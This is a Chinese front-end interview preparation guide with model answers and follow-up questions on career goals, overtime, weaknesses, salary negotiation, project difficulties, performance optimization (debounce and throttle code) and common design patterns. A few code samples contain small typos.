我希望未来三年继续提升技术能力和项目影响力,逐步向架构师方向发展。 对我来说,这不只是掌握更多技术,而是能把方案设计得更稳,并帮助团队把事情做得更好。我也希望成为公司里技术能力较强的成员之一,在能力和机会匹配时承担带领同事的责任。不过岗位名称不是唯一目标,我会更看重实际产出和持续成长。

我想在工作中再创新高,我希望在三年以内能够在我职业上做出点成绩,比如达到架构师,我希望能在公司做技术强的人之一,能够带领更多同事做的更好

💬 面试官追问

  • 你说三年内想成为架构师,但现在团队需要的是能稳定交付业务页面的前端,你怎么证明这不是只追求职位名称?

    架构师只是方向,不应脱离当前岗位的交付责任,我会先把业务开发、质量和协作基本功做扎实。成长应体现为能解决更复杂的问题并帮助同事,而不是提前索取头衔;若当前能力不足,就接受目标延期并补齐短板。

  • 假设你入职后负责一个核心前端模块,负责人要求你给出未来一年的成长计划,你会安排哪些可检查的动作?

    我会围绕模块交付、技术深度和团队影响制定阶段目标,例如独立负责关键需求、沉淀复盘,并逐步参与方案设计和协作推进。检查依据应来自实际产出与问题解决质量;计划必须服从业务需要,不能为了成长项目影响正常交付。

  • 如果公司未来两年没有架构师岗位,业务却需要你承担跨模块方案设计和带新人,你还会坚持原来的三年目标吗?

    我会保留成为技术骨干的方向,但不把岗位名称当成唯一结果,跨模块设计和带领同事本身就是必要能力。目标可以调整为扩大技术责任和团队贡献;若组织长期没有相应空间,再基于事实评估发展,而不是入职初期预设离开。

  • 半年后主管反馈你研究技术很多,但负责的页面频繁延期,与你“成为公司技术强者”的规划发生冲突,你怎么处理?

    我会先复盘延期来自估算、范围控制还是实现复杂度,并把按期可靠交付恢复为最高优先级。技术成长必须服务业务结果,不能用学习掩盖执行问题;必要时应缩减非关键研究,待基本职责稳定后再扩大技术投入。

  • 团队有一条晋升管理岗的路径和一条深耕前端架构的路径,而你又希望带领更多同事,你会怎么选择?

    我会先确认自己更擅长技术决策还是人员管理,并通过带项目、评审和辅导同事验证,而不是把“带人”等同于转管理。现阶段更适合先成为可靠的技术负责人;管理路径涉及绩效与组织责任,不能只因职位发展看起来更快就选择。

# 你期望加入一家什么样的公司

⚡ 30 秒速记

  • 业务好,赛道好,技术牛逼(抬高对方),能够让自己更好的成长,我希望除了以上这些外,公司还要有发展空间,希望入职的这家公司我有用武之地(贬低自己),未来我希望跟这家公司走的很远(稳定性),我希望能成为这家公司的前端lead

我希望加入一家业务方向和发展赛道都不错、技术氛围也比较强的公司。 这样的环境既能让我持续成长,也能让我把已有经验真正用在业务和团队里,而不是只完成手头任务。我更看重公司是否有长期发展空间,以及个人能否随着业务一起承担更多责任。如果双方长期匹配,我希望稳定地走下去,并逐步成长为能够带领前端团队的 leader。

业务好,赛道好,技术牛逼(抬高对方),能够让自己更好的成长,我希望除了以上这些外,公司还要有发展空间,希望入职的这家公司我有用武之地(贬低自己),未来我希望跟这家公司走的很远(稳定性),我希望能成为这家公司的前端leader,引领前端团队,这也是我的目标。我感觉贵公司是我梦想中的公司

💬 面试官追问

  • 你说希望加入业务好、技术强的公司,但一家成熟公司技术完善却只让你维护边缘页面,这仍符合你的期望吗?

    公司标签不是唯一判断,我更关心岗位是否有真实业务价值、明确责任和持续成长空间。即使技术体系成熟,边缘页面若长期缺少挑战和贡献机会也未必匹配;但我会先了解岗位演进,而不是仅凭初始任务否定公司。

  • 拿到两个岗位时,一个业务增长明确但前端基础薄弱,另一个工程体系成熟但业务方向尚在探索,你会怎样做选择?

    我会同时评估业务前景、岗位职责、团队能力和自己能贡献的空间,而不是只比较技术栈。前者可能有建设机会但交付风险更高,后者学习条件较好却存在业务不确定性;最终选择取决于风险是否透明以及职责是否匹配。

  • 入职后发现团队短期目标是快速上线多个活动页,暂时没有资源做你期待的工程化建设,你对“有用武之地”的理解会改变吗?

    我会先完成当前业务目标,再判断重复交付中是否存在可逐步改善的共性成本,而不会强行启动大规模改造。用武之地既包括搭体系,也包括可靠解决眼前问题;若长期只有机械执行且没有成长空间,才需要重新评估匹配度。

  • 面试官告诉你公司赛道不错,但组织调整频繁、前端负责人刚离职,你还会直接说这是“梦想中的公司”吗?

    我不会仅凭赛道和面试印象下绝对结论,而会继续了解岗位稳定性、决策机制以及负责人离职后的职责安排。组织变化可能带来机会,也可能意味着边界和支持不足;信息不完整时应表达认可与疑问,避免为了迎合而忽略风险。

  • 你既希望公司技术强,又希望未来成为前端 leader,如果团队已有成熟负责人且晋升空间有限,你如何平衡学习和发展空间?

    我会把近期目标放在向成熟团队学习并产出可信贡献,领导职责不必限定为正式头衔,也可体现在模块负责和协作推动上。若成长路径透明,即使短期没有职位也能接受;若职责长期封闭,则需诚实判断双方是否适合长期合作。

# 平常除了开发还会做什么?

⚡ 30 秒速记

  • 有时间去看一下b站老师的分享,提高自己的认知,比如说看xx的分享

除了日常开发,我会通过技术分享和课程继续学习,也会安排足球、篮球这类运动。 有时间时,我一般会看一些 B 站老师的分享,了解不同的实践思路,提升自己对技术和行业的认知;遇到需要系统补充的内容,也会考虑报课学习。当然,我不会把全部业余时间都用于学习,因为持续运动能帮助我调整状态。足球和篮球也需要配合,这和工作中的团队协作有不少相通之处。

  • 有时间去看一下b站老师的分享,提高自己的认知,比如说看xx的分享
  • 报课学习成长
  • 如果面试官问,天天学习你不觉得无趣吗,你可以回复,也不会一天到晚都在学习,我也经常运动(足球、篮球)(不要回复其他兴趣看书啥的),人家就是想看你的团队协作性怎么样

💬 面试官追问

  • 你说下班后经常看技术分享和报课,如果某周项目已经高强度交付,你仍会每天安排学习吗?

    不会把持续学习等同于每天堆时长,我会根据工作负荷和精力调整节奏,优先保证交付质量与休息。技术分享和课程用于补充认知,但缺少实践时容易停留在概念层面;高强度阶段应减少安排,之后再做复盘和补充。

  • 你在 B 站看完一场前端工程化分享,团队正好存在构建流程混乱,你会怎样把观看内容变成可验证的工作产出?

    我会先对照团队现状提炼一个明确痛点,再用小范围验证分享中的做法是否适配现有项目,而不是直接照搬。验证结果可以沉淀成笔记或内部交流;若收益不明确、迁移成本较高,就保留认知而不推动改造。

  • 如果课程建议采用新的框架,但公司项目受浏览器兼容、交付周期和团队熟悉度限制,你会坚持用新方案吗?

    我不会因为刚学过就推动换框架,而会把兼容性、学习成本、维护能力和业务期限放在一起评估。新方案只有在解决现有痛点且风险可控时才值得试点;约束不满足时,学习成果可以暂存,不必强行制造应用场景。

  • 你连续报名多门课,却发现几个月后仍讲不清核心原理,也没有解决过真实代码问题,你会怎么调整?

    我会停止继续堆课程,回看学习目标是否过宽,并用一个具体项目或问题检验理解程度。讲不清和无法实践通常说明输入没有转化为能力;调整代价是覆盖面变窄,但能避免用报名数量制造虚假的成长感。

  • 团队周末组织足球活动,而你原本安排了线上课程;面试官想了解你的协作倾向,你会如何说明取舍?

    我会根据活动的重要性和课程是否可回看灵活安排,团队活动有助于建立非正式沟通和协作关系,值得适度参与。运动也是正常的生活调节,不需要包装成工作任务;但参与团队活动不等于牺牲所有个人时间,边界仍需合理。

# 怎么看待加班

⚡ 30 秒速记

  • 员工应该站在公司的角度适应公司的发展,看公司当前业务的需要,公司需要我就会加班,对公司有利我们就冲,我相信一个优秀的公司是合理安排员工的休息的时间的,也不是靠加班加出来的,也有规范的流程,当然该加班的时候还得加

我能接受业务确实需要时的加班,但不认为长期依赖加班是理想的工作方式。 当项目处在关键阶段、公司需要团队一起推进时,我愿意站在业务角度配合,把该承担的事情做好。不过,一个优秀的公司也应该有规范的流程,并合理安排员工的工作和休息,而不是单纯靠延长时间解决问题。简单来说,该冲的时候我会冲,但长期效率和团队状态同样重要。

员工应该站在公司的角度适应公司的发展,看公司当前业务的需要,公司需要我就会加班,对公司有利我们就冲,我相信一个优秀的公司是合理安排员工的休息的时间的,也不是靠加班加出来的,也有规范的流程,当然该加班的时候还得加

💬 面试官追问

  • 版本延期是因为需求反复变更,负责人却把连续加班解释成“大家有担当”,你会认同这种说法吗?

    我会配合确有业务必要的阶段性加班,但不会把流程问题造成的长期加班等同于担当。需求反复应追溯变更决策、范围和排期,避免持续由执行人员兜底;若只靠加班维持交付,质量和团队状态都会面临风险。

  • 核心活动页明早上线,今晚发现支付入口在部分环境不可用,产品、测试和开发都在场,你会怎样处理这次加班?

    我会优先参与定位和修复,因为故障直接影响上线目标,同时明确负责人、验证范围和发布条件。修复后还要确认回滚方案并记录原因;如果风险无法在有限时间内验证,应推迟上线或降级功能,而不是熬夜冒险发布。

  • 如果业务进入连续数周的冲刺期,公司确实需要额外投入,但团队休息已经明显不足,你会如何与负责人沟通?

    我会带着任务范围、剩余工作和风险沟通,建议调整优先级、补充资源或拆分交付,并安排必要的轮换休息。短期冲刺可以理解,长期透支说明计划或流程需要修正;只表态“都能扛”会掩盖真实产能并增加出错概率。

  • 加班发布后线上页面白屏,日志显示是仓促合并造成的资源路径错误,你会先追责还是先恢复服务?

    我会先停止继续发布,依据现有回滚或降级路径恢复页面,再核对构建产物、资源地址和合并记录定位原因。恢复后再复盘评审、测试和发布环节为何失效;个人疏忽需要承担责任,但不能用追责替代流程修复。

  • 产品要求今晚加班加入一个非核心动效,技术负责人认为应保留时间做回归测试,你支持哪一方?

    我会支持先保证回归测试,除非该动效被证明直接影响必须达成的业务目标且风险可控。非核心体验收益通常不足以覆盖压缩验证时间带来的上线风险;若产品坚持,可选择延期动效或缩小实现范围,并明确由谁接受残余风险。

  • 一家公司的交付主要依赖长期加班,另一家公司流程规范但关键故障时也要求紧急响应,你认为两者本质区别是什么?

    区别在于加班是异常情况下的必要响应,还是弥补日常计划和流程缺陷的常态机制。规范团队同样需要在关键时刻投入,但应有清晰优先级、发布保障和合理休息;流程完善也不能消除所有事故,只能降低频率和影响。

# 你最大的缺点

⚡ 30 秒速记

  • 比如你是做前端的,你可以说你对运维那块的部署相关不熟悉,经验还不足等等

我目前在运维和部署方面的经验还不够扎实,这是需要继续补齐的短板。 以前受工作内容限制,这部分接触得不多,业余时间虽然了解过一些,但理解还不算深入。我不会把“不熟悉”停留在口头上,而是会通过相关书籍、视频课程和技术社区持续学习,也会主动交流自己的疑问。不过我会先保证前端本职工作的质量,再逐步拓宽能力边界。

  • 比如你是做前端的,你可以说你对运维那块的部署相关不熟悉,经验还不足等等。你是做后端的,你可以说你对那些炫酷的页面交互不太熟悉。
  • 优秀案例:突出你好学的心态
    • 以前因为工作的关系不常用xxx技术栈,在业余时间略有接触,但是理解还不够深。
    • 但是自从xxx后,我就买了有关的书籍和一些视频教学深度学习。
    • 每天都会下班后用一个小时的时间在掘金,CSDN等论坛活跃,阅读网友的文章。同时我也会把我自己的疑惑跟大家交流,大家一起进步,让我在这方面越来越熟

💬 面试官追问

  • 你应聘前端开发,却说自己的缺点是“过于追求完美”,这会不会只是把优点包装成缺点?

    这种表述缺少明确边界,也无法判断是否影响工作,更像在回避真实不足。更可信的说法是指出非核心技术领域的短板,例如对部署链路接触较少,并说明当前理解程度;不能选择责任心、沟通或守时等容易影响岗位胜任力的问题。

  • 团队要求前端独立完成测试环境部署,而你对运维和部署不熟,你会怎样避免学习计划停留在“下班看文章”?

    我会先梳理构建产物、环境变量、发布步骤和回滚入口,再通过书籍、视频及技术社区补齐原理,并在隔离环境中实际走通流程。遇到权限或生产配置时由熟悉部署的同事复核,避免把学习实验直接带入线上。

  • 如果岗位说明突然要求入职后维护一部分发布流水线,你原本所说的“部署经验不足”还是一个安全的缺点吗?

    此时它已经接近岗位核心要求,不能只强调好学来淡化风险。我会如实限定自己已掌握和未掌握的范围,说明正在补齐的内容及预计时间;若短期内无法承担独立发布,也应明确需要评审或协作支持。

  • 你照着教程学习部署后,测试环境发布成功,但线上静态资源仍加载旧版本,你会如何证明自己真正补过这块短板?

    我会检查构建产物的内容 hash、资源引用地址、缓存命中和发布目录,确认是产物、部署还是缓存链路的问题。随后记录复现条件、修复动作和回滚方式;若缺少线上权限,不会声称已独立解决,而是提供完整排查证据交由负责人操作。

  • 业余时间有限时,你会选择系统学习整套运维体系,还是只补当前前端部署所需的知识?

    我会优先补齐与前端交付直接相关的构建、环境配置、静态资源发布、缓存和回滚,再逐步扩展运维知识。这样更容易形成可验证的工作能力,但代价是知识广度增长较慢,遇到基础设施深层故障仍需专业同事协作。

# 你觉得你有哪些不足之处

⚡ 30 秒速记

  • 我觉得自己在xx方面存在不足(不足限制在技术上聊,不要谈其他容易掉HR的坑里)

我目前在脚手架的熟练度上还有不足,Node.js 也需要继续深入学习。 这些属于非核心技术栈中的短板,不会直接影响我完成当前岗位的主要工作。意识到问题后,我已经开始针对性学习,并计划在明确的时间内把相关能力补齐。相比谈迟到等非技术问题,或直接否定自己的核心技术栈,这样描述更客观,也更容易用行动验证改进效果。

  • 我觉得自己在xx方面存在不足(不足限制在技术上聊,不要谈其他容易掉HR的坑里)
  • 但我已意识到并开始学习
  • 我估计在xx时间把这块给补齐

要限定一个范围

  • 技术方面的
  • 非核心技术栈的,即有不足也无大碍
  • 些容易弥补的,后面才能“翻身”

错误的示范

  • 我爱睡懒觉、总是迟到 —— 非技术方面
  • 我自学的 Vue ,但还没有实践过 —— 核心技术栈
  • 我不懂 React —— 技术栈太大,不容易弥补

正确的示范

  • 脚手架,我还在学习中,还不熟练
  • nodejs 还需要继续深入学习

💬 面试官追问

  • 你应聘以 Vue 为核心技术栈的岗位,却说“我自学过 Vue,但没有实践过”,为什么这不是一个合适的不足?

    这暴露的是岗位核心能力尚未经过实践验证,而不是容易补齐的外围短板。更合适的是限定到脚手架某项能力或 Node.js 的深入程度,并说明已经开始学习;如果核心栈确实缺失,应如实评估岗位匹配度。

  • 你说自己对脚手架还不熟,团队下周就要新增构建配置,你准备怎样把“不熟”转成可交付的计划?

    我会把范围收敛到当前构建配置,先读现有脚本和配置,再在独立分支验证修改并记录构建结果。计划要给出可检查的阶段和预计补齐时间,同时安排评审;若涉及发布链路或未知插件,不能承诺未经验证的完成日期。

  • 原本岗位只要求业务页面开发,入职后却需要你负责整套脚手架维护,你之前承诺短期补齐还成立吗?

    职责扩大后,需要重新拆分配置使用、插件排查和整体维护等不同能力,不能继续用一个模糊期限覆盖。基础操作可按原计划补齐,架构级维护则应说明需要更多实践和协作;强行承诺会把可弥补不足变成项目风险。

  • 你修改脚手架后,开发环境正常,但生产构建失败,你会如何判断是知识不足还是配置本身的问题?

    我会对比开发与生产配置、环境变量、依赖和构建日志,缩小到具体差异,再用最小改动复现。若无法解释插件行为,就查阅对应文档并请求代码评审;恢复原配置仍失败时,也不能先入为主地把故障归因于自己的改动。

  • 你只能选一个短板来讲:对 Node.js 理解不深,或完全不懂 React,哪个更适合当前 Vue 前端岗位?

    通常应选择与岗位核心栈不冲突且范围可控的 Node.js 深度不足,并进一步限定到具体知识边界。完全不懂 `React`` 范围过大,也难给出可信的补齐期限;但若岗位明确要求双栈,两者都可能影响胜任判断。

# 优雅谈薪的技巧

⚡ 30 秒速记

  • 先询问对方能给多少

谈薪时我会先了解公司的预算,再结合自身情况给出一个具体数字。 如果招聘范围是 20~35K,我会询问基于面试表现具体能给到多少;需要我先报价时,则会在真实期望上增加 1~2K,避免报区间后被默认按下限沟通。报价还要参考企业规模、面试发挥和已有 Offer,但不会主动用其他 Offer 做威胁式抬价。双方谈妥后,我还会确认五险一金基数、基本工资与绩效比例,以及多薪制是否写入合同。

  • 先询问对方能给多少
    • 虽说不要打太极,但也别跟愣头青一样,直接就报价了,你可以先问一下对方到底能给多少,给两个范例
      • 基于我前面的面试表现,贵公司最多能给到多少呢?
      • 我看招聘需求上的20~35K浮动较大,所以我想先问一下,您们这边具体能给多少?
    • 有些HR会直接摊牌,有些则会把皮球再踢回来,让你先出价
  • 根据自身情况合理报价
    • 把这个事先准备好的薪资报出去即可(记得要比真实期望高个1~2K)
    • 能报具体数字,就别报范围值,好比你报18~20,HR就会当成18K
  • 结合企业情况报价
    • 你可以根据企业的规模来报价。规模越大,你报出的具体数字可以越高,因为大企业有能力开出你要的工资,不过前提是你能让对方满意
    • 同时,大家在面试前,也可以提前查一下对应公司的薪资,咋查呢?脉脉、职友集等平台都行,如:
  • 结合面试发挥情况报价
    • 之前制定期望薪资时,咱们不是整了一个范围值嘛?为此大家也要学会变通,面试发挥得越好,报出的数字可以越高,这样做的好处在于:能让你有机会拿到更高的薪资,方便后续选Offer。
    • 当然,面试发挥比较差时,可以适当报低一点
  • 基于手里的Offer报价
    • 因为手上已经有Offer了,此时可以寻求更高的薪资,比如手里有一个15K的,这次则可以试着去抬到17、18K。如果成功了,意味着你每月又能多出2~3K,就算失败了,也有上一个Offer兜底
    • 注意点:如果HR没有问“有没有其他Offer”时,那最好别自己主动说出来
    • 因为这样做,会让HR觉得有股“胁迫”的味道在里面,如:
      • 我现在手里拿到了一个18K的Offer,所以我的期望薪资是20K
    • 这就好像是“你不给我开20K,我就不考虑你们”的意思,正因如此,基于手里的Offer报价时,千万别用这样“威胁式”的抬价手段
  • 细聊薪资的组成结构
    • 当你们双方谈妥工资后,别忘了问清楚薪资的结构,不然被坑了,也只能是哑巴吃黄连,如果你不知道怎么问,可以从这些方向出发
      • 五险一金什么时候交?以基本工资为准还是工资总额?
      • 薪资的组成结构是什么样的(基本工资、绩效工资的比例)?
      • 多薪制是签在合同里面,还是按绩效作为年终奖发放?
    • 同时,如果你的简历写了期望薪资,那谈薪会十分轻松,毕竟看了你的简历后,依旧把你喊过来面试,代表这家企业绝对能给到这个工资。为此,在简历写上期望薪资的小伙伴,将是最容易谈薪的一群人,直接按照简历上的薪资报价即可,也无需揣测用人方真实的招聘薪资~

💬 面试官追问

  • 招聘页面写着 20K~35K,HR让你立刻报期望,你只说“看公司安排”会造成什么后果?

    这种说法既没有获得预算信息,也没有表达自己的价值和底线,谈判会失去锚点。我会先询问基于面试表现可给到的具体水平;若对方坚持让我先报价,则给出事先准备的具体数字,而不是容易被按下限理解的范围。

  • 技术面反馈良好,HR再次追问具体期望,你怎样形成报价而不是临场拍一个数字?

    我会结合招聘区间、企业规模、面试发挥和提前了解的同类岗位薪资,给出略高于真实期望的具体数字。报价仍需与能力和市场信息相符;过度抬价可能终止流程,报得过低则会压缩后续谈判空间。

  • 你的目标是 20K,但面试发挥明显低于预期,而该公司规模和预算都较高,你会坚持原报价吗?

    我会以岗位预算和自身可证明的匹配度为依据,必要时适当调整,但不会仅因公司规模大就报到区间高位。面试表现会影响议价能力,却不等于必须立即降到最低;还应结合是否有其他选择和自己的接受底线。

  • 你接受了月薪数字,签约前才发现绩效占比较高、多薪也没有写入合同,此时应怎样补救?

    我会在签约前确认基本工资与绩效比例、五险一金缴纳时间和基数,以及多薪是合同约定还是绩效年终奖。口头承诺应尽量落实到可核验文件;若关键组成无法确认,就不能只依据名义月薪判断总待遇。

  • 你手里已有 15K 的 Offer,当前 HR没有询问其他机会,你会主动用它要求 18K 吗?

    我不会主动把已有 Offer包装成“不给更高就不考虑”的压力,而会先依据岗位和面试表现提出期望。若对方询问其他机会,可以如实说明并保持协商语气;虚构报价或威胁式抬价会损害信任。

  • 两家公司都报 20K,一家基本工资占比高,另一家承诺多薪但按绩效发放,你会怎样比较?

    我会把固定工资、绩效条件、五险一金基数和多薪是否写入合同分别核实,再比较可确定的年度收入。按绩效发放的部分具有不确定性,不能与合同固定收入等价;除此之外,岗位内容和发展空间仍需单独权衡。

# 工作中遇到过哪些项目难点,是如何解决的

⚡ 30 秒速记

  • 遇到问题要注意积累

遇到项目难点时,我会把问题背景、分析过程、解决方案和最终效果完整讲清楚。 比如编辑器只能回显 JSON 数据,却需要兼容老版本的 HTML,解决方式是把旧格式反解析成 JSON 后再交给编辑器处理。本质上,这类问题不能只说“修好了”,还要说明它对用户或系统造成了什么影响。复盘后需要总结边界,例如以后设计输入输出时,要同时考虑旧版本用户,并参考其他产品的处理方式。

遇到问题要注意积累

  • 每个人都会遇到问题,总有几个问题让你头疼
  • 日常要注意积累,解决了问题要自己写文章复盘

如果之前没有积累

  • 回顾一下半年之内遇到的难题
  • 思考当时解决方案,以及解决之后的效果
  • 写一篇文章记录一下,答案就有了

答案模板

  • 描述问题:背景 + 现象 + 造成的影响
  • 问题如何被解决:分析 + 解决
  • 自己的成长:学到了什么 + 以后如何避免

一个示例

  • 问题:编辑器只能回显JSON格式的数据,而不支持老版本的HTML格式
  • 解决:将老版本的HTML反解析成JSON格式即可解决
  • 成长:要考虑完整的输入输出 + 考虑旧版本用户 + 参考其他产品

💬 面试官追问

  • 你把“需求经常变化”当成项目难点,却说不清页面现象和用户影响,面试官为什么会认为它不可信?

    缺少背景、可观察现象和实际影响,就无法判断难点是否真实,也看不出个人分析能力。应落到具体输入输出或兼容场景,并区分自己与团队的动作;不能把一般协作摩擦包装成技术难题。

  • 编辑器只能回显 JSON,但数据库中还有老版本 HTML 内容,你会怎样设计兼容落地方案?

    我会先确认新编辑器要求的 JSON 结构和旧 HTML 的有效范围,再设计反解析转换,并用典型旧内容验证输入与输出。转换应保留无法识别内容的兜底或原始数据;直接覆盖旧数据会增加不可逆损坏风险。

  • 旧 HTML 中出现新 JSON 模型无法表达的标签或样式时,你还会坚持全部反解析吗?

    我不会假设所有旧内容都能无损映射,而会先划分可转换、需降级和无法转换的情况。对无法表达的内容保留原文或提供兼容展示,并记录转换失败;若业务要求完全保真,就需要扩展数据模型或暂时保留旧渲染链路。

  • 转换上线后,有用户反馈历史文章少了一段内容,你会按什么顺序排查?

    我会先保留受影响原始 HTML,复现转换结果,再检查解析规则、非法标记和序列化过程,定位内容在哪一步丢失。修复前应停止继续覆盖并准备回退;没有原始数据或转换日志时,恢复能力会受到限制。

  • 面对少量旧内容,你会选择运行时转换、批量迁移,还是长期维护两套渲染逻辑?

    数量有限且访问频率低时,运行时转换改动较小,但会持续承担解析开销和失败分支;批量迁移便于统一模型,却必须先验证并保留回滚数据。长期双链路兼容风险最高,只有保真要求无法满足时才值得暂时保留。

  • 难点解决后,除了写一篇复盘文章,你还会留下什么来避免同类兼容故障?

    我会沉淀典型旧内容样本、转换规则和失败用例,并在后续模型变更时检查完整输入输出及旧版本用户。复盘用于解释判断过程,自动验证用于防止重复回归;样本覆盖不足时仍需保留监控和人工兜底。

# 前端性能优化

⚡ 30 秒速记

  • 是一个综合性问题,没有标准答案,但要求尽量全面

前端性能优化本质上是让资源加载更快、页面渲染更顺畅,同时减少网络耗时和 CPU 计算。 加载方面我会优先压缩和缓存静态资源,并根据场景使用 CDN、HTTP2 或 SSR;例如文件内容不变时,带 hash 的资源地址也不变,可以触发 HTTP 缓存并返回 304。渲染方面会控制频繁操作,例如缓存 DOM 查询、合并 DOM 插入,并通过懒加载降低初始压力。对于 input 等连续触发场景用防抖保留最后一次执行,scroll、resize 等场景则用节流限制执行频率。

前言

  • 是一个综合性问题,没有标准答案,但要求尽量全面
  • 某些细节可能会问:防抖、节流等

性能优化原则

  • 多使用内存、缓存或其他方法
  • 减少CPU计算量,减少网络加载耗时

从何入手

  • 让加载更快
    • 减少资源体积:压缩代码
    • 减少访问次数:合并代码,SSR服务端渲染,缓存
      • SSR
        • 服务端渲染:将网页和数据一起加载,一起渲染
        • 非SSR模式(前后端分离):先加载网页,在加载数据,在渲染数据
      • 缓存
        • 静态资源加hash后缀,根据文件内容计算hash
        • 文件内容不变,则hash不变,则url不变
        • url和文件不变,则会自动触发http缓存机制,返回304
    • 减少请求时间:DNS预解析,CDN,HTTP2
      • DNS预解析
        • DNS解析:将域名解析为IP地址
        • DNS预解析:提前解析域名,将域名解析为IP地址
        • DNS预解析的方式:<link rel="dns-prefetch" href="//www.baidu.com">
      • CDN
        • CDN:内容分发网络,将资源分发到离用户最近的服务器上
        • CDN的优点:加快资源加载速度,减少服务器压力
        • CDN的缺点:增加了网络延迟,增加了服务器成本
      • HTTP2
        • HTTP2:HTTP协议的下一代版本
        • HTTP2的优点:多路复用,二进制分帧,头部压缩,服务器推送
  • 让渲染更快
    • CSS放在head,JS放在body下面
    • 尽早开始执行JS,用DOMContentLoaded触发
    window.addEventListener('load',function() {
      // 页面的全部资源加载完才会执行,包括图片、视频等
    })
    window.addEventListener('DOMContentLoaded',function() {
      // DOM渲染完才执行,此时图片、视频等可能还没有加载完
    })
    
    • 懒加载(图片懒加载,上滑加载更多)
    • 对DOM查询进行缓存
    • 频繁DOM操作,合并到一起插入到DOM结构
    • 节流、防抖,让渲染更流畅
      • 防抖
        • 防抖动是将多次执行变为最后一次执行
        • 适用于:input、click等
        const input = document.getElementById('input')
        // 防抖
        function debounce(fn, delay = 500) {
          // timer 是闭包中的
          let timer = null
          // 这里返回的函数是每次用户实际调用的防抖函数
          // 如果已经设定过定时器了就清空上一次的定时器
          // 开始一个新的定时器,延迟执行用户传入的方法
          return function () {
            if (timer) {
              clearTimeout(timer)
            }
            timer = setTimeout(() => {
              fn.apply(this, arguments)
              timer = null
            }, delay)
          }
        }
        input.addEventListener('keyup', debounce(function (e) {
          console.log(e.target)
          console.log(input.value)
        }, 600))
        
      • 节流
        • 节流是将多次执行变成每隔一段时间执行
        • 适用于:resize、scroll、mousemove等
        const div = document.getElementById('div')
        // 节流
        function throttle(fn, delay = 100) {
          let timer = null
        
          return function () {
            if (timer) { // 当前有任务了,直接返回
              return
            }
            timer = setTimeout(() => {
              fn.apply(this, arguments)
              timer = null
            }, delay)
          }
        }
        // 拖拽
        div.addEventListener('drag', throttle(function (e) {
            console.log(e.offsetX, e.offsetY)
        }))
        

💬 面试官追问

  • 商品列表滚动时明显卡顿,同事建议给接口加 CDN,为什么这可能没有解决主要矛盾?

    如果资源已加载而卡顿发生在持续滚动阶段,瓶颈更可能是频繁事件处理、DOM 查询或重复渲染,而不是接口距离。应先观察滚动回调和节点更新,再考虑节流、缓存查询或合并插入;没有定位前增加 CDN 只会提高成本。

  • 搜索页的 input 每次 keyup 都触发请求和列表重绘,你会怎样用防抖落地?

    我会把处理函数包装为防抖逻辑,每次输入先清除旧定时器,仅在用户停止输入一段时间后执行最后一次查询。回调需保留正确的 this 和参数;延迟过长会让交互迟钝,而且已发出的旧请求仍需另行处理。

  • 拖拽面板需要连续反馈位置,如果产品把搜索框使用的防抖方案直接复用到 mousemove,页面会出现什么现象?

    拖动期间回调可能一直被推迟,界面只在动作停止后跳到最终位置,无法提供连续反馈。这里更适合节流,让处理函数按固定间隔执行;间隔过大仍会卡顿,过小则无法有效降低计算和渲染压力。

  • 静态资源已添加内容 hash,用户发布后仍看到旧页面,你会怎样排查缓存链路?

    我会确认文件内容变化是否生成了新 hash、页面是否引用新 URL,并检查旧入口文档和中间缓存是否仍被命中。内容未变时复用缓存是预期行为;若入口长期缓存,即使资源文件名更新,用户也可能拿不到新的引用关系。

  • 首屏慢且后续交互也卡,你会优先上 SSR、压缩资源,还是优化频繁 DOM 操作?

    我会按阶段拆开判断:下载资源耗时高时先压缩、缓存并减少请求,数据与页面串行加载时再评估 SSR;交互阶段卡顿则处理查询缓存、批量插入和节流。SSR会增加服务端渲染职责,不能替代客户端运行时优化。

  • 一个资讯页依赖多个域名的图片和脚本,你会怎样在 DNS 预解析、CDN 与 HTTP/2 之间取舍?

    第三方域名解析进入关键路径时可用 dns-prefetch 提前解析,静态资源可交由靠近用户的 CDN,同源多请求则可利用 HTTP/2 多路复用和头部压缩。每项优化作用环节不同;额外预解析、分发成本和实际网络延迟都需要结合页面依赖验证。

# 前端常用的设计模式和使用场景

⚡ 30 秒速记

  • 用一个工厂函数来创建实例,使用的时候隐藏new,可在工厂函数中使用new(function factory(a,b,c) {return new Foo()})

前端常见的设计模式包括工厂、单例、代理,以及观察者或发布订阅模式。 工厂模式隐藏实例化过程,例如 jQuery 的 $ 和 React.createElement;单例模式保证全局只有一个实例,常用于 Vuex、Redux 的 store 或全局弹窗。代理模式通过中间层拦截 get、set,典型场景是 ES6 Proxy 实现 Vue3 响应式。观察者是目标直接通知观察者,发布订阅则增加 Event Channel 解耦双方,但嵌套过多会增加维护成本。

  • 工厂模式
    • 用一个工厂函数来创建实例,使用的时候隐藏new,可在工厂函数中使用new(function factory(a,b,c) {return new Foo()})
    • 如jQuery的$函数:$等于是在内部使用了new JQuery实例(用工厂函数$包裹了一下),可以直接使用$(div)
    • react的createElement
  • 单例模式
    • 全局唯一的实例(无法生成第二个)
    • 如Vuex、Redux的store
    • 如全局唯一的dialog、modal
    • 演示
      // 通过class实现单例构造器
      class Singleton {
        private static instance
        private contructor() {}
        public static getInstance() {
          if(!this.instance) {
            this.instance = new Singleton()
          }
          return this.instance
        },
        fn1() {}
        fn2() {}
      }
      
      // 通过闭包实现单例构造器
      const Singleton = (function () {
        // 隐藏Class的构造函数,避免多次实例化
        function FooService() {}
      
        // 未初始化的单例对象
        let fooService;
      
        return {
          // 创建/获取单例对象的函数
          // 通过暴露一个 getInstance() 方法来创建/获取唯一实例
          getInstance: function () {
            if (!fooService) {
              fooService = new FooService();
            }
            return fooService;
          }
        }
      })();
      // 使用
      const s1 = Singleton.getInstance()
      const s2 = Singleton.getInstance()
      // s1 === s2 // 都是同一个实例
      
  • 代理模式
    • 使用者不能直接访问对象,而是访问一个代理层
    • 在代理层可以监听get set做很多事
    • 如ES6 Proxy实现Vue3响应式
    var obj = new Proxy({},{
      get:function(target,key,receiver) {
        return Refect.get(target,key,receiver)
      },
      set:function(target,key,value,receiver) {
        return Refect.set(target,key,value,receiver)
      }
    })
    
  • 观察者模式
    • 观察者模式(基于发布订阅模式)有观察者,也有被观察者
    • 观察者需要放到被观察者中,被观察者的状态变化需要通知观察者 我变化了,内部也是基于发布订阅模式,收集观察者,状态变化后要主动通知观察者
    class Subject { // 被观察者 学生
      constructor(name) {
        this.state = 'happy'
        this.observers = []; // 存储所有的观察者
      }
      // 收集所有的观察者
      attach(o){ // Subject. prototype. attch
        this.observers.push(o)
      }
      // 更新被观察者 状态的方法
      setState(newState) {
        this.state = newState; // 更新状态
        // this 指被观察者 学生
